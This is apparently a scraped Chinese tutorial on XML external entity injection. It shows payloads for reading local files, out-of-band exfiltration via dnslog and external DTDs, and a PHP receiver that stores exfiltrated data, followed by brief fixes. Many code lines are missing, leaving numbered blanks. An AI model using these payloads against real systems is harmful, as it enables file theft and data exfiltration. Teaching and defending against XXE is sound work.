XML外部实体注入漏洞。
-
读取文件
1
2
3
4
5
<user><username>&test;</username><password>dorvin</password></user>成功返回了
dorvin.txt
文件中的内容。这里的file://
是文件协议的前缀,加上前导/
指向当前驱动器的根目录(在 Windows 上)或整个根目录(在 Linux/Unix 上)。信息外带
1
2
3
4
5
6
<user><username>&send;</username><password>dorvin</password></user>在
dnslog
上成功收到了请求。外部引用实体
1
2
3
4
5
6
<user><username>&send;</username><password>dorvin</password></user>demo.dtd:
1
成功返回了
dorvin.txt
文件中的内容。外部引用实体解决了拦截防护绕过和数据无回显的问题。外部引用实体信息外带
1
2
3
4
5
6
7
8
<root>&send;</root>demo.dtd:
1
demo.php:
1
2
file_put_contents('./demo.txt', $_GET['info']);这样也是成功读取到了
dorvin.txt
文件中的内容。
修复方案
禁用外部实体
过滤用户提交的XML数据
其他协议利用